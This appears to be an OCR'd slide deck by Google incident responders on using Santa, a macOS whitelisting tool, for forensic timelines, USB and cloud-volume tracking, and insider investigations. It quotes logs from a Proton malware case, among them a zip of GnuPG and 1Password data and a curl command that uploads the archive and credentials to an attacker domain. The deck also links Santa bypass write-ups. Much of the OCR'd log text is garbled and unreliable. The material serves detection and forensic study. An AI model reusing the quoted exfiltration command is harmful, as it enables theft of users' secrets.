He's Making a List
We're Checking it Twice

Santa for Forensic Analysis
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I’'m Telling You Why: Santa as a Forensics Tool
He Sees You When You're Hacking, He Knows Just What You Take

| Saw Badness Using Santa Logs



whoami

Gary

DFIR @ Google

All incidents Security + Insider

Formerly Detection, Google and Federal Reserve NIRT

Sugar, fast food, television enthusiast



whoami

James

DFIR @ Google

Responding to all the security and privacy things

Previous life with Mandiant, the United Nations, US Government

Lover of jokes



What's the Plan?

What is Santa?

Discussion: well known stuff
Discussion: lesser known stuff
Analysis strategies




Santa?

Knows whether your
binary is naughty or
hice.




What is Santa?

macOS extensible through kernel extensions (KEXT)
Kernel programming interfaces (KPIs) can be leveraged
Santa uses the Kernel Authorization (Kauth) KPI that provides powerful features
Allows Santa to listen in on most vhode and file system operations

o Canthen take direct or indirect action on operations being performed
Open Source (has distro signed by Google)

o https://github.com/google/santa

o Covers five separate binaries and related concepts



https://github.com/google/santa

Technical details

e Santa-driver

o KAUTH_SCOPE_VNODE listener
m File executions
m Filewrites

o KAUTH_SCOPE_FILEOP listener
m File executions
m Filedeletions
m Filerenames
m Filelinks
m Fileexchanges

o Disk mounts handled in user-space via callbacks from the DiskArbitration framework



Technical details

e Santa-driver

o KAUTH_SCOPE_VNODE listener
m File executions
m Filewrites
o KAUTH SCOPE FILEOP listener Why Both?
m File executions
m Filedeletions
m Filerenames
m Filelinks
m Fileexchanges
o Disk mounts handled in user-space via callbacks from the DiskArbitration framework




Why Not Both?

e KAUTH_SCOPE_VNODE
o Used to make block/deny decision
e KAUTH_SCOPE_FILEOP
o Secondis used to track process
arguments and log action taken




Binary Whitelisting

e santa-driver registers itself as a KAUTH_SCOPE_VNODE listener. This flow follows how santa-
driver handles KAUTH_VNODE_EXECUTE events.

e Asanta-driver Kauth callback function is executed by the kernel when a process is trying to
execve(). Information on where to find the executable is provided.

e santa-driver then checks if its cache has an allow or deny entry for the vnode_id/filesystem ID. If so
it returns that decision to the Kauth KPI.

e If Kauth receives a deny, it will stop the execve() from taking place.

e |f Kauth receives an allow, it will defer the decision. If there are other Kauth listeners, they also
have a chance deny or defer.

e Ifthereisnoentryfor the vhode_id in the cache a few actions occur, santad is then called upon to
make the decision and communicate back to the santa-driver and stored in the cache.

e Awritetoavnode_id will also invalidate a cache entry.



File Writes and Modifications

e santa-driver registers itself as a KAUTH_SCOPE_VNODE listener. This flow then listens for:
o KAUTH_VNODE_WRITE_DATA events.

e santa-driver registers itself as a KAUTH_SCOPE_FILEOP listener. This flow then listens for:
o KAUTH_FILEOP_DELETE

KAUTH_FILEOP_RENAME

KAUTH_FILEOP_EXCHANGE

KAUTH_FILEOP_LINK

KAUTH_FILEOP_CLOSE

O O O O



Logging

e Santacurrently logs to in plaintext to /var/db/santa/santa.log by default.
All executions and disk mounts are logged here.

e File operations can also be configured to be logged. See the FileChangesRegex key in the
configuration.md document.

e macOS Unified Logging System (ULS)
o ALSand ULS are bypassed to continue logging to santa.log


http://santa.readthedocs.io/en/latest/deployment/configuration/
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Detection Details
Ad-Aware
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Endgame
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28 engines detected this file
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File size 457.59 KB
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Away to the Log Files, It's Handbrake, Not Flash

Michael George at Dropbox recently blogged a cool study of Santa tracking Proton Malware in the
Handbrake Supply chain issue:

[2017-02-22T723:07:11.457Z] I santad: action=EXEC|decision=ALLOW|reason=UNKNOWN

|sha256=bec7bfc5375dd1c4bac23121c8d83b801484cd53261f0d3f9f3f64177e4b7caf]
|path=/private/tmp/HandBrake.app/Contents/Mac0S/HandBrake |args=/tmp/HandBrake.app/Contents/Mac0S/HandBrake

|quarantine_url=http://<url_of_download_location>/
013623e5e50449bbd6943549d8224a122aa6c42bd3300albd2b743b01ae6793 | pid=906 | ppid=1|uid=501 |user=michael|gid=20 |group=staff|mode=M

Credit to Michael George from Dropbox - https://blogs.dropbox.com/tech/2018/04/4696/



It Zipped Up 1Password, and CURL'd it to Stash

[2017-02-22T723:07:21.048Z] I santad:
action=EXEC|decision=ALLOW| reason=CERT | sha256=5161a97e207156702c56dc3ad6443c682c3b5a3089552183d12d7e64eee71e63 |path=/usr/bin/zip
Jargs=zip -r /Users/michael/Library/VideoFrameworks/GNU_PW.zip /Users/michael/.gnupg /Users/michael/Library/Application

Support/1Password 4 /Users/michael/Library/Application Support/1Password 3.9
| cert_sha256=2aa4b9973b7bad7add447ee4da8b5337c3ee2c3a991911e80e7282e8a751fc32 | cert_cn=Software

Signing|pid=1006 |ppid=973|uid=501|user=michael|gid=20|group=staff|mode=M

[2017-02-22T20:00:55.265Z] I santad: action=EXEC|decision=ALLOW|reason=CERT
| sha256=2bf2d10a7529a88d340ce0255da52dbef9873ccb44e46d23afd3abf70b8e54ca

| path=/bin/sh

Jargs=/bin/sh —c al487793655= curl -s -F full_name='Michael' -F username='michael' -F password='HappyPassword' -F
root_password="'failure' -F serial='<serial>' -F hostname='Michael%E2%80%99s Mac' -F signed='0' -F file='@/Users/michael/Library
VideoFrameworks/proton.zip' -F api_key=9fe4adc3b63203f096ef65dc98754243979d6bd58fe835482b969aabaaec57ea —F cts=1487793655 —-F
signature=0e@leded5dc74c9adbadd5b11ad27333b284af3ec5fb33037646b4e810238cbe https://handbrake.biz/api/init’; echo $al1487793655;
| cert_sha256=2aa4b9973b7bad7add447ee4da8b5337c3ee2c3a991911e80e7282e8a751fc32 | cert_cn=Software
Signing|pid=1152|ppid=1043|uid=501|user=michael|gid=20|group=staff|mode=M

Credit to Michael George from Dropbox - https://blogs.dropbox.com/tech/2018/04/4696/




Then the Elves Thought of Something They
Hadn't Before

Using logs to hunt across the fleet (look beyond a hash):

2017-05-02 14:11:44.123456 | user1-macbookpro | <removed> | Virtual Interface |
/Users/user1/Downloads/HandBrake-1.0.7.dmg| AN Elale [

Compared to the legitimate HandBrake-1.0.7:

2017-05-02 13:12:34.123456 | user2-macbookpro | <removed> | Virtual Interface |
/Users/user2/Downloads/HandBrake-1.0.7.dmg| A ST 5 Elale |21 =1 Ko W4



Santa (baby), tell me where that binary’s from

user$ santactl fileinfo ~/Downloads/Updater.app

Path : /Users/user/Downloads/Updater.app
SHA-256 :061f056338e00d38cdfb6b1f40d8e4f8d3f1d7214f6d9a48d0d91d766b7574b7
SHA-1 :ef5a11a1bb5b2423554309688aa7947f4afa5388

Download Referrer URL : https://mac.eltima.com/media-player.html
Download URL : https://mac.eltima.com/download/elmediaplayer.dmg
Download Timestamp :2018/06/25 17:09:47 -0700

Download Agent  :com.google.Chrome

Type : Executable (x86_64)

Code-signed :No

Rule : Blacklisted (Unknown)



What About Insider (and Outsider) Exfil?




What Else is on Santa’s List?

e Ifyou're goingtoinstall Santa for Binary Whitelisting
o  Why not use it for file system tracking as well?
e Current methods of tracking file activity often fall short
o HFS+and APFS
m fsevents
e Inconsistent on removable media
e Timestamps
m Journaling
e Quickly overwritten
m Metadatain things like spotlight
e Inconsistent



There's Some Data

e Santa-driver

o KAUTH_SCOPE_VNODE Listener
m File executions
m File Writes
o KAUIH_SCOPE_FILEOF
__m File executions

m Filedeletions

m Filerenames

m Filelinks

m Fileexchanges

o |Disk mounts handled in user-space via callbacks from the DiskArbitration
framework.




There's Some Data




There's Some Data

The regex of paths to log file changes. Regexes are

FileChangesRegex ST specified in ICU format.

Need a well crafted regex to track the writes you want, by default:

<key>FileChangesRegex</key>
<string>~/(?!(?:private/tmp|Library/(?:Caches|Managed Installs/Logs|(?:Managed
) ?Preferences))/)</string>



There's Some Data

<key>FileChangesRegex</key>
<string>~/(2!(?:private/tmp|Library/(?:Caches|Managed Installs/Logs|(?:Managed
)?Preferences))/)</string>

Probably want to focus a bit more:

/User/*???
/Volumes/* ???

You might be surprised at what is in /private:

#ls-1/| grep private

l[rwxr-xr-x@ 1 root wheel 11 17 May 01:49 etc -> private/etc
drwxr-xr-x@ 6 root wheel 204 5 May 08:06 private
lrwxr-xr-x@ 1 root wheel 11 17 May 01:49 tmp -> private/tmp
l[rwxr-xr-x@ 1root wheel 11 17 May 01:49 var -> private/var



USB Tracking

Disk mounts handled in user-space via callbacks from the DiskArbitration framework.
$cat /var/db/santa/santa.log | grep APPEAR

[2018-06-25T16:50:26.488Z] | santad: action=[ daadNa mount=RNaNe)
[\A\W13|bsdname=disk2s1|fs=msdos|model= gl pIqV]I1¢}
L8| serial TR F LR RLOPTLEL | bus=USB|dmgpath=|appearance=2018-06-25T 16:50:26.441Z

[2018-06-25T18:10:25.6347] | santad: action=\WRILLIA LI EIALI 1S4\ (o)
WAV FRYLN g ¥ 4]e | pid=1702|ppid=1|process=Finder|processpath=/System/Library/CoreServices/Finder.app/Co
ntents/MacOS|uid=402467|user=user1|gid=499|group=corp]

[2018-06-25T19:50:48.9627] | santad: action=|B]Ei4{BIRYA H H TN | mount = LIS [ORNTA\Y13| bsdname=disk2s 1



Volume Tracking - NFS

$cat /var/db/santa/santa.log | grep APPEAR

[2018-04-02T12:12:45.8767Z] | santad:
action=DISKAPPEAR|mount=/Volumes/backup|volume=backup|bsdname= || model=|serial=(null)|bus=|
dmgpath=|appearance=2001-01-01T00:00:00.000Z]

[2018-04-02T13:34:12.3447] | santad: action=\\RLIA s ELETAL VI T4 o 1o (VT YA T 1ol (V] o YA @] § o ) =T o) oY o YT Tl (=1 8
Stuff-20180309T091234Z-

00k W4]s| pid=1702|ppid=1|process=Finder|processpath=/System/Library/CoreServices/Finder.app/Contents/Ma
cOS/[Hla|uid=402467|user=user1|gid=499|group=corp]



Volume Tracking - CLOUD

$cat santa_processed | grep GoogleDrive

2018-03-14T02:34:23.5677Z] | santad: action=|D]E NG H FiN3| mount=/Volumes/ eSS | volume=Google
Drive|bsdname=|fs=lFJ{IHMBIZ]|model=|serial=(null)|bus=|dmgpath=|appearance=2001-01-01T00:00:00.000Z

2018-03-1404:29:07.819000,W34113,/Volumes/GoogleDrive/My
Drive/SecretFile1.pdf,,840,/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder

2018-03-1404:29:33.122000,WRITE,/Volumes/|elJJ4{ &I/ My
Drive/SecretFile2.pdf,840,/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder

2018-03-14 04:31:20.986000,WRITE,/Volumes/GoogleDrive/My
Drive/NXd g1 XX, 840,/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder



File Renames Show Original Creation

[2018-06-25T18:39:25.2767Z] | santad:
Elaile)iRENAME|[EIFASSSIEIIRIg¥/Downloads/.com.google.Chrome.BeKqqH|newpath=/Users/user1/Dow
nloads/Unconfirmed 361274.crdownload|[sJlsEW2:{0]1s]e]le El A s]gelelIITI€loYo)=4 <
Chrome|processpath=/Applications/Google Chrome.app/Contents/MacOS/Google
Chrome|uid=347939|user=user1|gid=5000|group=eng

[2018-06-25T18:39:25.2767] | santad: action=\\illl3|path=/Users/user 1/ DIVl leFTe YA s Tete sV il 11 [=T¢|
KIY WL Rl [V IETs | pid=1280|ppid=1|process=Google Chrome|processpath=/Applications/Google
Chrome.app/Contents/MacOS/Google Chrome|uid=347939|user=user1|gid=5000|group=eng

[2018-06-25T18:47:11.755Z] | santad: action=RENAME|path=/Users/user1/Downloads/Jea s taaed
361274.crdownloadfi&WYsEl/Users/user1/Downloads/macOS High Sierra Final by
LRI YEAR S pid=1280|ppid=1|process={€]Jos4[X®sIf)111=| processpath=/Applications/Google

Chrome.app/Contents/MacOS/Google Chrome|uid=347939|user=user1|gid=5000|group=eng




Timeline

Without any disk forensics Santa can create a very easy to follow timeline.

Timestamp Source Description Notes

/Users/USER/Downloads/.com.google.Chrome.BeKgqH->/Users/USER/Downloads/Unconfirmed

2018-05-28T04:23:02.000 santa  731847.crdownload DOWNLOAD INITIATION
/Users/USER/Downloads/[Ulee  ilf e WA Ly ML T ET: -

2018-05-28T04:23:12.000 santa  >/Users/USER/Downloads/ iy s e e NI P L L L E R P T A e ) DOWNLOAD COMPLETION

2018-06-08T12:24:34.000 santa - San Disk Cruzer - SDC98374539181 USB Mount

2018-06-08712:48:13.000 santa  /Volumes/USB DISK/Users/USER/Downloads/important-docs-20180528T042312Z-001.zip
/Users/USER/Downloads/important-docs-20180528T042312Z-001.zip-

2018-06-08T12:49:23.000 santa RV Y WV le Wi 6 ETeY/COPIED-important-docs-20180528T0423127-001.zip RENAME AFTER USB WRITE
/Users/USER/Downloads/COPIED-important-docs-20180528T04231227-001.zip-

2018-06-09T15:39:45.000 santa  >/Users/USER/R 0 e a0 m i T e o L P AL P E P A E R MOVE TO TRASH

2018-06-09T15:40:52.000 santa  /Users/USER/.Trash/important-docs-20180528T0423127-001.zip



Spotlight UUIDs Disambiguate Cheap USBs

2017-11-23 04:12:22.113000,USB,,action=DISKAPPEAR|mount=|volume=NO NAME|bsdname=disk2s1|fs=msdos|model=General
UDisk|serial=1|bus=USB|dmgpath=|

2017-12-01 18:37:12.109000,USB,,action=DISKAPPEAR|mount=|volume=Untitled|bsdname=disk16s1|fs=exfat|model=General
UDisk|serial=1|bus=USB|dmgpath=|

2017-12-04 06:18:45.005000,USB,,action=DISKAPPEAR|mount=|volume=NO NAME|bsdname=disk2s1|fs=msdos|model=General
UDisk|serial=1|bus=USB|dmgpath=|

2017-12-08 18:15:52.877000,USB,,action=DISKAPPEAR|mount=|volume=Untitled|bsdname=disk16|fs=msdos|model=General
UDisk|serial=1|bus=USB|dmgpath=|

2017-12-12 19:06:11.107000,USB,,action=DISKAPPEAR|mount=|volume=NO NAME|bsdname=disk16|fs=msdos|model=General
UDisk|serial=1|bus=USB|dmgpath=|



Spotlight UUIDs Disambiguate Cheap USBs

2017-11-2304:13:24.222000,mymacbookpro,WRITE, /Volumes/NO NAME/.Spotlight-V100/Store-V2/12345678-9012-3456-7890-
123456789012/store.db,,211,/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores

2017-12-01 18:39:22.109000,mymacbookpro,WRITE, /Volumes/Untitled/.Spotlight-V100/Store-V2/
/store.db,,211,/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores

2017-12-0406:20:45.000000,mymacbookpro,WRITE,/Volumes/NO NAME/.Spotlight-V100/Store-V2/34567890-1234-5678-9012-
345678901234/store.db,,211,/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores

2017-12-08 18:56:48.002000,mymachookpro,WRITE,
/Volumes/Untitled/.Spotlight-V100/Store-V2/
/store.db,,211,/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores

2017-12-12 19:08:12.000060,mymachookpro,WRITE,/Volumes/NO NAME/.Spotlight-V100/Store-V2/12345678-9012-3456-7890-
123456789012/store.db,,211,/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores



Santa's Workshop (Other stuff)

e Anti-Forensics
o  File Deletions
o  File executions and arguments
e Signs of intent
o  Did the user copy everything to a folder named something interesting prior to zipping it up
o  Woas this a normal historical workflow?
m E.g. Downloading documents, using a USB, etc ...



Enterprise Investigations

Analysis Methods

Raw Log Review - the hard way

Export all the logs to a database - the easy way
Plaso Parser is coming - the timeline way
Santactl - the live way



Mister Grinch

e Spectre Ops Santa Bypass
o https://posts.specterops.io/load-
execute-bundles-with-
migrationtool-f952e276e1aé
e Okta Santa Bypass
o https://www.okta.com/security-
blog/2018/06/issues-around-
third-party-apple-code-signing-
checks/







